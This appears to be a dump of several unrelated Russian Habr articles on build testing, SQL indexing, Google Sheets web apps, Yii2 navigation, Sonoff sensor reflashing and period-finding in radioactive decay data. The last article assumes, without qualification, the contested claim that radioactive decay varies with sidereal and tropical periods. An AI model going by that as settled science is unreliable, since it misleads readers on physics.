Сначала проект был просто тестируем, но мне хотелось ещё измерять и code coverage, в итоге я слегка обновил тестирование так что бы тестирование можно было запускать через [TestMethod] (один метод) для того что бы измерить code coverage. На данный момент у меня план с каждым бафиксом и улучшением увеличивать code coverage. В последнем committe он был 81.13%, и это можно отслеживать по commit history, я помечаю в commentах (cc: 81.13%).
Все-таки вам наверное интересно как можно написать один метод для тестирования и тестировать кучу функций?
Основная идея в том что если вы обычно пишете какую то тестовую функцию в тестовой аппликации, то я вытащил тестовую функцию за саму syncProj утилиту, спас отдельным файлом (например NoProjectSelected.cs), а также добавил механизм записи outputа консольной аппликации.
Скажем запускаем мы NoProjectSelected.cs, как полагается с command line:
> syncProj.exe NoProjectSelected.cs
А syncProj печатает нам такое:
NoProjectSelected.cs :
NoProjectSelected.cs(10,13): error: Project not specified (Use project(«name» to specify new project)
Все что напечатано, и является результатом тестирования. Результат тестирования спасается в отдельный файл. На момент разработки программист знает, что программа должна напечатать – и он либо одобряет это или нет. И ещё один вариант – это если это новый тест.
В итоге если бы NoProjectSelected.cs был бы новым тестом, syncProj тестирование выдало бы:
Если результат тестирования уже имеется, но отличается – то сообщение примерно то же:
Если выбирается Yes, то создается файл NoProjectSelected.cs.accepted\_log.txt который содержит то что утилита отпечатала на экране.
Если выбирается No – то запускается программу для сравнения обычных текстовых файлов. (WinMerge например)
Ну и естественно если происходит heavy refactoring, то программисту достаточно просто «одобрить» новые результаты тестирования.
При минимальных затратах на тестирование, достигается максимальный результат.
Ну и в принципе все – думаю, что C# script позволяет достаточно гибкий подход к созданию проектов – т.е. когда проекты становятся сложными, то соответственно и сам C# скрипт становится сложнее – появляются функции, появляются helperы, и так далее.
Как пример могу показать [вот это](https://sourceforge.net/p/vlc2/code/HEAD/tree/modules/modules.cs). Где плагин проекты уже создаются с функциями.
Да, знаю, cmake и premake тоже позволяет писать функции, но нет возможности его дебаггировать.
syncProj правда пока что работает только под Windows, и признает только Visual Studio проекты, но у меня пока что не было необходимости портовать куда-либо ещё. Я попытался довести код до идеала – он полностью откомментирован, так что, если найдутся энтузиасты продолжить мое дело, с удовольствием введу в курс дела.
Да, syncProj дружит с Visual Studio, так что при ошибках можно нажать два раза на строчку где ошибка произошла, и попасть туда где надо исправлять код. Ну да, и если этого не достаточно, то C# script tools, и debug.
[Код](https://sourceforge.net/p/syncproj/code/HEAD/tree/)
[Документация](https://docs.google.com/document/d/1C1YrbFUVpTBXajbtrC62aXru2om6dy5rClyknBj5zHU/edit)
Если потребуется что профиксить, сообщайте ошибки, профиксю – ну и да, можно присоединится и к разработке самого syncProj.
Автор проекта: Tarmo Pikaro, tapika-(at)-yahoo-dot-com | https://habr.com/ru/post/337138/ | null | ru | null |
# Как не надо индексировать
Развитие происходит по спирали: когда-то люди не умели правильно индексировать, потом (в основном) научились, потом пришли **noSQL** и все снова забыли знание древних. Что вы будете делать, когда последние из старых DBA отплывут в Валинор?
Снова и снова и сталкиваюсь с полным набором антипаттернов индексирования. Я их перечислю, но! Для каждого антипаттерна есть исключения, когда именно это и стоит делать. Поэтому кликбейтно сформулированное правило верно лишь в 95% случаях, но если вы хотите копнуть глубже, то прочитайте про исключения.
И в конце полезные скрипты для **MSSQL**, **Postgres** и **MySQL** - хотя статья фокусируется на опыте MS SQL
Все автоматически созданные индексы - глупость
----------------------------------------------
Речь идет об индексах созданных по рекомендации MSSQL, с именами типа *\_dta\_index\_mytab\_11\_1172915250\_\_K1\_K26\_8\_11\_28\_46\_90*
Как правило, они очень 'широкие', могут содержать внушительный список колонок, и еще более длинный список колонок в части **INCLUDE**. Такой индекс действительно может ускорить данную кверь, но если следовать всем таким предложениям, вы проиндексируете безумное количество комбинаций колонок и еще большее количество комбинаций INCLUDE.
Подобные рекомендации - подсказка, что неплохо бы разобраться, а что плохо с самим запросом. Как правило INCLUDE - это отчаянная попытка MS SQL уменьшить объем данных для Full Scan, 'вынеся' эти данные из основной таблицы в более маленький индекс с INCLUDE. Чем создавать такой индекс, посмотрите, а откуда вообще идут table scans.
**Исключение:** конечно, возможно, что забыт самый очевидный индекс. Но скорее всего на PROD при эксплуатации все очевидные индексы уже были созданы.
Тупое следование таким рекомендациям приводит к следующей проблеме
Таблица с более чем 15 индексами - что-то здесь не так
------------------------------------------------------
Я видел таблицы с 40 и более индексами, созданными по принципу 'кашу маслом не испортишь'. Большинство их было создано автоматически.
Конечно, один индекс не сильно замедлит insert/update/delete, но десятки замедлят существенно, особенно на больших таблицах.
**Исключение:** разумеется, можно придумать таблицу, у которой много '*dimensions*' по естественным причинам. Но тогда следует проверить следующий пункт
Индекс по колонке с низкой селективностью бесполезен
----------------------------------------------------
Часто видишь, как индексируют поля типа **isCancelled bit**, **ObjectType smallint, sex int** (всего 56, или сколько там сейчас значений), **DepartmentId** в фирме с одним Department итд. Здесь много 'но' и все они важны:
**Исключение 1.** Иногда колонка с низкой селективностью может быть 'прицеплена' к колонке с высокой. Путь у объекта есть id int, и side char(1) 'плечо' правое и левое, 'L','R'. если 'плечо' всегда и часто указывается в запросах:
```
... WHERE id=12345 and side='L'
```
то вполне поможет индекс по (id,side) - но не (side,id) если side иногда не указывается.
**Исключение 2.** Иногда статус объекта несбалансирован, пусть у нас есть поле IsProcessed. У большинства объектов IsProcessed=1, а нам надо часто искать объекты для процессинга по isProcessed=0. Тогда имеет смысл создать индекс:
```
create index ... on ... (IsProcessed) WHERE (IsProcessed=0)
```
У нас будет маленький быстрый индекс по необработанным документам. Искать по нему надо так: IsProcessed=0 (а не IsProcessed=@status, где [@status=0)](/users/status=0))
**Исключение 3.** Селективность колонки мала, но селективность набора многих колонок высока. Если все эти колонки используются в WHERE, то такой индекс будет полезен.
**А как же FOREIGN KEY?** пусть у нас есть **Departments**, которые сделаны для общности, и на обозримое время их 1 штука? Ведь рекомендуется все FOREIGN KEYs 'обеспечивать' индексами?
Как и всякая рекомендация она имеет границы. Если у вас таблица с количеством записей под миллиард, то зачем бедной базе при каждом insert менять этот бессмысленный индекс об одном значении? Как часто он нужен? Как часто вы удаляете departments? Пусть там раз в год будет table scan.
Нарушает какие-то принципы дизайна? Да, как и любая денормализация для performance.
Индекс по более чем 3 колонкам - красный флаг
---------------------------------------------
Это следствие из предыдущего пункта. Если вы посмотрите на этот индекс то обнаружите, что либо он создан автоматически, либо лишь некоторые колонки достаточно селективны. (см. **Исключения** 1 и 3 в предыдущем пункте).
Кстати, селективность колонок можно проверить в MSSQL, Postgres, MySQL [вот так](https://habr.com/ru/post/646763/).
Если в колонке дата/время не на последнем месте, то проверьте
-------------------------------------------------------------
Речь идет об индексах типа (DT datetime + SomeUseful ...), то есть колонка datetime не одинока, но она не на последнем месте.
Datetime часто ищутся не по равенству, а по диапазонам. В запросе:
```
... WHERE DT>='20211201' and DT<'20211205' and SomethingUseful=12345
```
данный индекс может быть использован лишь частично - только его первая часть, по DT. Проверка на SomethingUseful производится отдельно. В обратном порядке (SomethingUseful + DT) образуется непрерывный диапазон (12345,'20211201') ... (12345,'29211205') и индекс используется целиком
**Исключение:** у даты 'обрубается' время и она сравнивается на равенство.
Индексы не должны 'включаться' друг в друга
-------------------------------------------
Если есть индекс по (A,B,C), то индекс по (A,B) излишен. Если указано **WHERE A=... and B=...** SQL может использовать начало индекса по (A,B,C)
**Исключение:** тем не менее, индекс по (A,B) короче и SQL будет его предпочитать, если условие по колонке C не указано. То же верно и для индексов с одинаковым началом и разными списками INCLUDE (здесь важно, от каких lookups 'спасает' INCLUDE)
Полезные скрипты
----------------
Для MS SQL предлагаю скрипт, который пройдет по всем индексам и представит отчет:
Показываются лишь колонки, которые участвуют хотя бы в одном индексе (вне INCLUDE), а число показывает порядковый номер в индексе. Чем старшее позиция, тем более блеклый синий цвет.
Вас наверное удивляет, что результат выглядит как HTML таблица? Потому что это часть [большого проекта](https://www.actionatdistance.com/mission). Впрочем, для MSSQL вы можете использовать скрипт отдельно.
Скрипт для MSSQL, измените имя таблицы во второй строке
```
set nocount on
declare @name varchar(128)='tablename'
select I.name as iname,IC.index_column_id, C.name as colname
into #i
from sys.index_columns IC, sys.indexes I, sys.columns C
where IC.object_id=object_id(@name) and I.object_id=IC.object_id and I.index_id=IC.index_id and C.object_id=I.object_id and C.column_id=IC.column_id
declare @sql varchar(8000)='create table ##p (iname varchar(128) collate database_default', @c varchar(128), @blanks varchar(4000)= ''
-- create table
DECLARE servers CURSOR FOR select name from sys.columns where object_id=object_id(@name) and name in (select colname from #i) order by column_id
OPEN servers;
FETCH NEXT FROM servers into @c
WHILE @@FETCH_STATUS = 0
BEGIN
set @sql=@sql+' , ['+@c+'] varchar(2)'
set @blanks=@blanks+','''''
FETCH NEXT FROM servers into @c
END
CLOSE servers;
DEALLOCATE servers;
set @sql=@sql+')'
exec(@sql)
--select * from #i
set @sql='insert into ##p select distinct iname'+@blanks+' from #i '
exec(@sql)
-- create table
DECLARE servers CURSOR FOR select name from sys.columns where object_id=object_id(@name) and name in (select colname from #i) order by column_id
OPEN servers;
FETCH NEXT FROM servers into @c
WHILE @@FETCH_STATUS = 0
BEGIN
set @sql='update ##p set ['+@c+']=convert(varchar,index_column_id) from #i where #i.colname='''+@c+''' and #i.iname=##p.iname'
print @sql
exec(@sql)
FETCH NEXT FROM servers into @c
END
CLOSE servers;
DEALLOCATE servers;
select * from ##p
--select iname,count(*) from #i group by iname order by 2
drop table #i
drop table ##p
```
Для [Postgre](https://www.actionatdistance.com/postgres) и [MySQL](https://www.actionatdistance.com/mysql) есть версии в самих [модулях](https://www.actionatdistance.com/modules), скачайте их по ссылкам и ищите файл с именем \*indexing. , равно как и для [MSSQL](https://www.actionatdistance.com/mssql) | https://habr.com/ru/post/648731/ | null | ru | null |
# Данные из Google Таблиц на вашем сайте
Привет!
Для тех, кто пользуется Google Таблицами, есть хорошая новость — ниже описано решение, которое позволит импортировать данные из таблицы на ваш сайт.
Поехали.
1. Открываем Таблицу Google
---------------------------
Для примера, я возьму таблицу, в которую падают результаты из Google Формы.
2. Открываем меню Tools — Script Editor…
----------------------------------------
3. Добавляем скрипт
-------------------
```
var ss = SpreadsheetApp.getActiveSpreadsheet(), // spreadsheet
s = ss.getActiveSheet(); // sheet
function getData(){
var result = [],
range = 'A:E', // диапазон ячеек, который хотим выгружать
values = s.getRange(range).getValues(),
last_row = parseInt(s.getLastRow());
for (var i = 1; i < last_row; i++) {
result.push(values[i]);
}
return result;
}
function doGet() {
var data = getData();
if(!data) {
data = '';
}
return ContentService.createTextOutput(
JSON.stringify({'result': data})).setMimeType(ContentService.MimeType.JSON);
}
```
При необходимости переопределите переменную “range”.
Если вы захотите доработать скрипт, ссылки на документацию:
* [Spreadsheet Service](https://developers.google.com/apps-script/reference/spreadsheet)
* [Class Sheet](https://developers.google.com/apps-script/reference/spreadsheet/sheet)
* [Class Range](https://developers.google.com/apps-script/reference/spreadsheet/range)
4. Публикация как Web Application
---------------------------------
Открываем меню **Publish — Deploy as web app…**
Вводим название новой версии проекта (например 1).
Меняем значение для “**Who has access to the app**” на “**Anyone, even anonymous**”
Нажимаем “**Deploy**”.
При первом деплое, нужно пройти процесс авторизации. Описывать не буду, покажу скриншотами.
**Скриншоты**
Далее вам будет показан попап с ссылкой на ваш web app:
Вам нужно скопировать эту ссылку.
Можете сразу открыть её в браузере. Приложение должно вернуть содержание выбранного диапазона таблицы в формате JSON:
То есть любым GET-запросом к этому веб-приложению вы можете получить данные Таблицы. Можно с бекенда или фронтенда, в зависимости от потребностей бизнеса.
Пример работы на фронтенде
--------------------------
Ссылка на [l.englishdom.com/google-s.html](https://l.englishdom.com/google-s.html)
Для простоты восприятия скрипта, я не стал делать дополнительное оформление выводимой информации.
**На странице используются:**
JS
```
(function () {
var app = "https://script.google.com/macros/s/AKfycbzngb-5a3tDdHJ445o5LxqeN63V_ihhF_Nxlkz3gxLyMeG3MA/exec",
output = '',
xhr = new XMLHttpRequest();
xhr.open('GET', app);
xhr.onreadystatechange = function() {
if (xhr.readyState !== 4) return;
if (xhr.status == 200) {
try {
var r = JSON.parse(xhr.responseText),
result = r["result"];
for (var i = 0; i < result.length; i++){
var obj = r["result"][i];
output += obj.join("
") + "
---
";
}
} catch(e) {}
}
document.getElementById('info').innerHTML = output;
}
xhr.send()
})()
```
HTML
```
```
Успехов!
Бонусы для читателей
--------------------
[](https://www.englishdom.com/myprofile/purchases/xabra3/?utm_medium=pr&utm_source=habra&utm_campaign=google_data_show2421117)
Мы дарим бесплатный доступ на три месяца изучения английского с помощью наших онлайн-курсов. Для этого просто перейдите по [ссылке](https://www.englishdom.com/myprofile/purchases/xabra3/?utm_medium=pr&utm_source=habra&utm_campaign=google_data_show2421117) до 31 декабря 2017 года.
[](https://www.englishdom.com/it-course/?utm_medium=pr&utm_source=habra&utm_campaign=google_data_show2421117)
Будем рады видеть вас на индивидуальных занятиях курса «Английский для IT-специалистов».
Пройдите [бесплатный вводный урок](https://www.englishdom.com/it-course/?utm_medium=pr&utm_source=habra&utm_campaign=google_data_show2421117) и получите комплексную обратную связь по своему уровню знаний, затем выбирайте преподавателя и программу обучения себе по душе! | https://habr.com/ru/post/343082/ | null | ru | null |
# Уменьшаем боль в навигации приложения на Yii2
Доброго времени суток! Большую часть проектов [мы](http://extpoint.com) пишем на Yii2, потому что он клёвый и мы его любим.
Однако, всегда есть что улучшить (благо этого не препятствует архитектура Yii). Хочу поделиться решением, которое упрощает прописывание навигации в приложениях на Yii2.
Проблема
========
Когда мы добавляем в приложение страницу, нам нужно прописать для неё следующие вещи (после создания контроллера и вьюшки):
* Заголовок страницы (`$this->title = ...`);
* Хлебные крошки (`$this->params['breadcrumbs'][] = ...`);
* Права для действия в контроллере (`\yii\base\ActionFilter` в `behaviors` контроллера);
* Параметр `visible` с проверкой доступа во всех меню, где есть ссылка на эту страницу;
* Добавить правило в `\yii\web\UrlManager::rules` для красивой ссылки;
* Добавить страницу в sitemap.xml.
Не жирновато ли для "ещё одной страницы"? Самое плохое в этом то, что все эти пункты нужно держать в голове и не забывать. А если навигация в проекте начинает меняться, то что-то сломать становится еще проще, чаще всего забываешь про хлебные крошки и они становятся просто не рабочими.
Решение
=======
Мы предположили, что любая страница приложения должна входить в общую карту сайта. А значит, если создать такую карту сайта (в виде многоуровнего дерева) с исчерпывающей информацией о странице (см. пункты из раздела "Проблема"), то добавление страницы сведётся к описанию её в карте сайте, всего лишь в одном месте! Мы можем прописать там и заголовки, и права и правила ссылки, а имея карту сайта легко получить хлебные крошки и sitemap.xml.
Таким образом получился компонент [MegaMenu](), который и представляю хабрасообществу.
Установка
=========
Устанавливается компонент через Composer:
```
$ composer require ExtPoint/yii2-megamenu
```
Далее нам нужно добавить компонент в конфигурацию приложения:
Как компонент приложения:
```
'components' => [
'megaMenu'=> [
'class' => '\extpoint\megamenu\MegaMenu',
'items' => [
// You sitemap
[
'label' => 'Главная',
'url' => ['/site/index'],
'urlRule' => '/',
],
...
],
],
...
],
```
И подгружать его до запуска приложения (для добавления правил в `UrlManager`):
```
...
'bootstrap' => ['log', 'megamenu'],
...
```
API
===
АПИ компонента создавалось максимально приближенным к Yii2, часто повторяя его 1 в 1.
Формат описания страницы (параметр `\extpoint\megamenu\MegaMenu::items`)
------------------------------------------------------------------------
Каждый item в большинстве соответствует формату задания навигации для `\yii\bootstrap\Nav::items`, где каждый item имеет атрибуты `label`, `url`, `visible`, `active`, `encode`, `items`, `options`, `linkOptions`. Каждый item задается в виде массива, из которого затем создается экземпляр класса `\extpoint\megamenu\MegaMenuItem`.
Ниже перечислим нововведенные параметры, которых нет в `\yii\bootstrap\Nav::items`:
* `urlRule` (строка, массив или экземпляр `\yii\rest\UrlRule`). Формат соответствует правилу из `\yii\web\UrlManager::rules`;
* `roles` (строка или массив строк). Формат идентичен `\yii\filters\AccessRule::roles`. Поддерживаются значения `"?"`, `"@"` и указание роли в виде строки.
* `order` (число) Каждый уровень меню сортируется согласно этому параметру. Значение по-умолчанию — 0.
Методы компонента `\extpoint\megamenu\MegaMenu`
-----------------------------------------------
* `setItems(array $items)` Добавляет элементы меню в конец списка;
* `addItems()` Добавляет элементы меню;
* `getItems()` Возвращает элементы меню;
* `getActiveItem()` Возвращает текущий роут, аналогично `\Yii::$app->requestedRoute`, но с распарсеными параметрами;
* `getMenu(array $item, $custom)` Находит вложенный элемент меню (`null` = корень) и возвращает вложенное меню с дочерними элементами. В параметре custom можно переопределять конфигурацию меню, если задать его как массив. Если задать числом — то это укажет на возвращаемую вложенность меню. Например, `\Yii::$app->megaMenu->getMenu(null, 2)` вернет двухуровневое меню, даже если само меню имеет большее число вложенности.
* `getTitle($url = null)` Находит item для указанного `url` (по-умолчанию — текущая страница) и возвращает его заголовок
* `getFullTitle($url = null, $separator = ' — ')` Аналогично предыдущему, но так же добавляет все родительские названия item'ов
* `getBreadcrumbs($url = null)` Возвращает хлебные крошки для виджета `\yii\widgets\Breadcrumbs::links`
* `getItem($item, &$parents = [])` Находит item по url/роуту, в parents добавляет item'ы всех родителей для найденного item'а
* `getItemUrl($item)` Находит item и возвращает его url
Логика поиска item'а
--------------------
Логика сравнения двух item реализована в методе `\extpoint\megamenu\MegaMenu::isUrlEquals`. Сравнение ссылок ведется путем сравнения двух строк.
Роуты сравниваются немного сложнее: сперва они нормализуются (получение полного роута, с указанием модуля, контроллера и экшена), затем сравниваются только роуты. Если роуты совпали, то сравниваются параметры.
Если параметр отличается от null, то сравнивается как его ключ, так и значение. Если значение указано как null, это означает, что может быть любое значение, сравнивается только наличие ключей.
Примеры:
* isUrlEquals('<http://ya.ru>', '<http://ya.ru>') // true
* isUrlEquals(['qq/ww/ee'], ['aa/bb/cc']) // false
* isUrlEquals(['aa/bb/cc', 'foo' => null], ['aa/bb/cc']) // false
* isUrlEquals(['aa/bb/cc', 'foo' => null], ['aa/bb/cc', 'foo' => null]) // true
* isUrlEquals(['aa/bb/cc', 'foo' => 'qwe'], ['aa/bb/cc', 'foo' => null]) // true
* isUrlEquals(['aa/bb/cc', 'foo' => 'qwe'], ['aa/bb/cc', 'foo' => '555']) // false
Пример
------
Пример маленького веб-приложения с установленным MegaMenu можно найти в папке тестов:
* [github.com/ExtPoint/yii2-megamenu/tree/master/tests/web](https://github.com/ExtPoint/yii2-megamenu/tree/master/tests/web).
Да ладно, это в реальных проектах не будет работать!
----------------------------------------------------
Однако, будет. MegaMenu уже успешно используется в нескольких крупных проектах. В наших проектах мы всегда разбиваем функционал на модули и MegaMenu этому не сопротивляется.
Пример такой разбивки и более реальный пример можно увидеть в нашем [бойлерплейте](https://github.com/ExtPoint/project-boilerplate). Меню по кусочкам собирается из [модулей](https://github.com/ExtPoint/project-boilerplate/blob/master/app/site/SiteModule.php) или [контроллеров](https://github.com/ExtPoint/project-boilerplate/blob/master/app/content/controllers/ArticleAdminController.php).
TODO
----
Компонент ещё развивается, вот некоторые фичи, которые стоит ждать в ближайшем будущем:
* Проверка доступа для контроллера (behaviors, анализирующий карту сайта для проверки доступа);
* Получение карты сайта для sitemap.xml;
* UI для кастомизации карты сайта с сохранением изменений в БД.
End
===
Спасибо всем, кто дочитал/пролистал до конца. Любые предложения и пожелания пишите на affka@affka.ru
Ставьте звезды на гитхабе — [ExtPoint/yii2-megamenu](https://github.com/ExtPoint/yii2-megamenu)
Всем удачного дня! | https://habr.com/ru/post/302954/ | null | ru | null |
# Альтернативная прошивка для датчика температуры и влажности Sonoff SNZB-02 Zigbee
Приветствую всех читателей Habr. В этой статье хочу поделиться с вами своим новым небольшим проектом.
Звездой этого проекта является датчик температуры и влажности воздуха [SONOFF SNZB-02](https://sonoff.tech/product/smart-home-security/snzb-02/) от компании [ITEAD](https://itead.cc/). Этот датчик появился на рынке около 2 лет назад, это было по сути первой попыткой компании ITEAD войти в сегмент Zigbee устройств. Компанией была выпущена серия датчиков в количестве 4 штук и шлюз к ним.
Датчик SONOFF SNZB-02 построен на [микроконтроллере cc2530](https://www.ti.com/product/CC2530) от компании Texas Instruments, сенсор измеряющий температуру и влажность [установлен hdc1080](https://www.ti.com/product/HDC1080), видимо ITEAD стремились всё сделать на компонентной базе от Texas Instruments.
С помощью настольной лампы, лупы и часа времени схема датчика была перенесена бумагу. Схема не замысловатая, линии интерфейса i2c от HDC1080 на этом датчике выведен на ножки p1.6 и p.17. Светодиод подключен к ножке p1.0 катодом. Кнопка подключена на ножку p2.0 c обвязкой подавляющий дребезг контактов. На плате разведено очень много контактных площадок, на схеме устройство они все отмечены. На фотографии ниже я выделил площадки к которым нужно подпаяться для перепрошивки устройства моей альтернативной прошивкой.
Процесс прошивки не должен вызвать каких то затруднений, места для подпайки проводов очень удобные. Для перепрошивки вам понадобится зайти на [мой гитхаб](https://github.com/smartboxchannel/SONOFF-SNZB-02-Temperature-and-humidity-sensor/tree/main/PROJECT%20SOURCE/TH_SONOFF/firmwares) и скачать файл с прошивкой. Далее вам понадобится [программа SmartRF Flash Programmer версии 1](https://www.ti.com/tool/FLASH-PROGRAMMER). Как ее скачать и установить оставлю за рамками данной статьи, уверен интернет в этом поможет. Так же вам понадобится CC Debugger или Smart RF04E(рекомендуется из-за простоты подключения).
Так же на гитхаб выложен исходный код проекта, это для тех кто захочет что то изменить в проекте на свой вкус.
#### Процесс прошивки с помощью SmartRF Flash Programmer v1
Подпаиваете 5 проводов на площадки указанные на фото и подключаете эти провода на соответствующие подписанные контакты дебагера. Подключаете дебагер в usb порту компьютера, открываете программу SmartRF Flash Programmer v1. Правее поля в пункте Flash Image нажимаете на иконку «обзор» и выбираете файл прошивки скаченный ранее. В пункте Actions выбираете Erase и ниже нажимаете на кнопку Perform actions. После того как вы очистили чип, выбираете Erase and program том же в пункте Actions и снова нажимаете кнопку Perform actions.
**Отпаиваете проводки, собираете датчик обратно в корпус, вставляете батарейку.**
#### Процесс прошивки с помощью ESP8266
Подключите плату ESP8266 к компьютеру с помощью USB-кабеля для передачи данных и убедитесь, что она распознается системой.
Если не установлены необходимые драйверы для вашей платы:
Загрузите форк [CCLoader](https://github.com/Jason2866/CCLoader/) от Jason2866, нажав [Download ZIP](https://github.com/Jason2866/CCLoader/archive/refs/heads/master.zip), и распакуйте его в папку.
Прошейте ESP8266 (NodeMCU) предварительно скомпилированным CCLoader\_Arduino.bin из Bin папки загруженного zip-файла, используя один из удобных вам инструментов для прошивки ESP8266, такой как: [ESP Flasher](https://github.com/Jason2866/ESP_Flasher/releases), [NodeMCU-pyflasher](https://github.com/marcelstoer/nodemcu-pyflasher/releases), [esptool.py](https://github.com/espressif/esptool).
Подключите ESP8266 к датчику Sonoff как показано в таблице ниже.
Скачайте альтернативную прошивку с [моего GitHub](https://github.com/smartboxchannel/SONOFF-SNZB-02-Temperature-and-humidity-sensor/tree/main/PROJECT%20SOURCE/TH_SONOFF/firmwares). Если файл открывается как текст, щелкните правой кнопкой мыши « Сохранить как… » и сохраните как sonoff.hex.
#### Windows
Скачать objcopy.exe с [SourceForge](https://sourceforge.net/projects/mingw/files/MinGW/Base/binutils/binutils-2.28/binutils-2.28-1-mingw32-bin.tar.xz/download) и распакуйте. (Если objcopy.exe не запускается, вам нужно скачать [libiconv](https://sourceforge.net/projects/mingw/files/MinGW/Base/libiconv/libiconv-1.14-3/libiconv-1.14-3-mingw32-dll.tar.lzma/download) и распаковать в ту же папку.)
Скопируйте файл альтернативной прошивки .hex в ту же папку и сконвертируйте его в .bin с помощью:
```
objcopy.exe --gap-fill 0xFF --pad-to 0x040000 -I ihex sonoff.hex -O binary sonoff.bin
```
Переместите преобразованный .bin в папку CCLoader.
#### Linux
Установите **binutils** пакет с помощью менеджера пакетов (пример для Debian: sudo apt install binutils)
Скопируйте файл прошивки .hex в ту же папку и сконвертируйте его в .bin с помощью:
```
objcopy --gap-fill 0xFF --pad-to 0x040000 -I ihex sonoff.hex -O binary sonoff.bin
```
#### Прошивка
CCLoader будет использовать NodeMCU с загруженным двоичным файлом CCLoader в качестве моста для загрузки прошивки на датчик Sonoff.
#### Windows
Используйте CCLoader\_x86\_64.exe или CCloader.exe из \Windows папки. Поместите подготовленный .bin в ту же папку, что и исполняемый файл CCLoader.
Команда для запуска процесса прошивки. Измените COM# на номер COM-порта, к которому подключен ваш ESP8266.
```
CCLoader_x86_64.exe [COM#] sonoff.bin 0
```
Пример: с NodeMCU на COM6
*CCLoader\_x86\_64.exe 6 sonoff.bin 0*
#### Linux
Сначала нужно скомпилировать CCLoader:
* `cd to CCLoader/SourceCode/Linux`
* `run`
```
gcc main.c -o CCLoader
```
Поместите подготовленный .bin в ту же папку, что и скомпилированный исполняемый файл CCLoader.
Команда для запуска процесса прошивки:
`./CCLoader [port path] sonoff.bin 0`
Пример: с включенным NodeMCU/dev/ttyACM0
`./CCLoader /dev/ttyACM0 sonoff.bin 0`
Прошивка прошла успешно, если вы видите это:
```
Upload successfully!
File closed!
Comport closed!
```
#### Возможные проблемы
Если перепрошивка не удалась или зависла на Request sent already! Waiting for respond...:
попробуйте использовать 1 вместо 0 в последнем параметре (./CCLoader [port path] sonoff.bin 1).
Переподключите NodeMCU и повторите попытку.
Проверьте как подключены провода,… снова проверьте как подключены провода.
Успешная прошивка в Windows выглядит так.
**Отпаиваете проводки, собираете датчик обратно в корпус, вставляете батарейку.**
#### Работа в сети
Что бы добавить устройство в z2m, необходимо в вэб интерфейсе z2m нажать на кнопку разрешить подключения. После этого нажать и удерживать кнопку на датчике SONOFF SNZB-02 в течение 2 секунд, начнет мигать светодиод и должен начаться процесс входа в сеть.
Что бы удалить устройство из сети необходимо на 10 секунд зажать кнопку, по истечении этого времени начнет мигать светодиод, и датчик запустит процедуру выхода из сети. Короткое нажатие инициирует чтение и отправку всех данных с датчика не по расписанию.
#### Что изменится в работе датчика.
Датчик теперь передает данные о температуре и влажности через кластеры температуры и влажности. Датчик можно биндить на эти кластеры к другим устройствам у которых реализован биндинг по данным кластерам. После привязки датчик будет передавать данные о температуре и влажности непосредственно на устройства к которым привязан.
Так же датчик начнет поддерживать работу с кластером oNoFF. Это может пригодиться для прямого управления реле. Для этих целей в датчике реализован простой функционал термостата и гигростата. Для прямого управления датчиком внешними реле необходимо привязать датчик к реле с которым он будет работать. Для этого необходимо перейти на страницу датчика в вэб интерфейсе з2м, перейти на вкладку связь. И в новой строке в первом поле выбрать исходную точку -1, в следующем поле правее в выпадающем списке найти реле к которому планируете привязать датчик. Далее правее в чек боксе oNoFF поставить галочку и нажать на кнопку Связать. После нажать на кнопку на корпусе датчика, что бы датчик проснулся и принял новые конфигурационные данные.
После привязки необходимо перейти на вкладку свойства выставить пороги в разделе термостат или гидростат, после каждого введенного значения в поля, необходимо нажимать на кнопку на корпусе датчика, что бы он проснулся и принял конфигурацию. После выставления порогов нужно активировать контроль переключателем, так же после переключения нажав на кнопку на датчике.
Ну и последний функционал в этой альтернативной прошивке это установка интервала сна, по умолчанию установлен интервал в 5 минут. Доступный диапазон от 1 минуты до 1 часа.
Проект открытый, исходные файлы проекта, прошивка, схема размещены на [моем гитхаб](https://github.com/smartboxchannel/SONOFF-SNZB-02-Temperature-and-humidity-sensor)
[Мой телеграмм чат DIY DEV](https://t.me/diy_devices) (*вход охраняет привратник, вспоминайте математику ;)*)
[Мой инстаграм](https://www.instagram.com/efektalab/) | https://habr.com/ru/post/690144/ | null | ru | null |
# Звездный год (365 дней 369 минут), Тропический год(+ 348.5 минут) и звездные сутки(1436 минут) в радиоактивном распаде
В этой статье будет приведен очень короткий код поиска периодов тропического года, звездного года и звездных суток в данных радиоактивного распада плутония.
[Вот здесь на GitHub.com](https://github.com/a-nai/radioactivity) можно скачать все данные и код
Это книга о [макроскопических флюктуациях](http://shnoll.ptep-online.com/publications.html) Симона Шноля
Всего данные по почти 19 дней одного года — days.dat
И 2 дня в мае 2005 года — 0505.txt
И 2 дня в мае 2006 года — 0506.txt
Средняя продолжительность тропического года по весеннему равноденствию — это на Января 1, 2000 — 365.2421897 или 365 дней, 5 часов, 48 минут, 45.19 секунд.
Звездный год — это 365 дней и 369 минут
Звездные сутки — 1436 минут — движение Земли в течение которого планета совершает полный оборот относительно сферы неподвижных звезд.
Загружаем данные и расфасовываем по рядам по 60 значений:
```
import math
import random
from statistics import mean
koeff=60;
matrix = [line.strip() for line in open('/users/andrejeremcuk/downloads/0505.txt')];
matrix1 = [line.strip() for line in open('/users/andrejeremcuk/downloads/0506.txt')];
matrixd = [line.strip() for line in open('/users/andrejeremcuk/downloads/days.dat')];
arra=[[ 0 for e in range(koeff)] for t in range(int(len(matrix)/koeff))];harra=[0 for t in range(int(len(matrix)/koeff))];
arra1=[[ 0 for e in range(koeff)] for t in range(int(len(matrix)/koeff))];harra1=[0 for t in range(int(len(matrix)/koeff))];
arrad=[[ 0 for e in range(koeff)] for t in range(int(len(matrixd)/koeff))];harrad=[0 for t in range(int(len(matrixd)/koeff))];
for i in range(len(matrix)): matrix[i]=int(matrix[i]);matrix1[i]=int(matrix1[i]);
for i in range(len(matrixd)): matrixd[i]=int(matrixd[i]);
```
Сортируем — функцией sorted по возрастанию:
```
z=0;
for jk in range(int(len(matrix)/koeff)): #int(len(matrix)/koeff)
for mk in range(koeff): arra[jk][mk]=float(matrix[z]);arra1[jk][mk]=float(matrix1[z]);z=z+1;
for jk in range(int(len(matrix)/koeff)): harra[jk]=sorted(arra[jk]);harra1[jk]=sorted(arra1[jk])
z=0;
for jk in range(int(len(matrixd)/koeff)):
for mk in range(koeff): arrad[jk][mk]=float(matrixd[z]);z=z+1;
for jk in range(int(len(matrixd)/koeff)): harrad[jk]=sorted(arrad[jk]);
```
Делим на среднее значение:
```
for jk in range(int(len(matrix)/koeff)):
average=mean(harra[jk])
for mk in range(koeff): harra[jk][mk]=harra[jk][mk]/average
average1=mean(harra1[jk])
for mk in range(koeff): harra1[jk][mk]=harra1[jk][mk]/average1
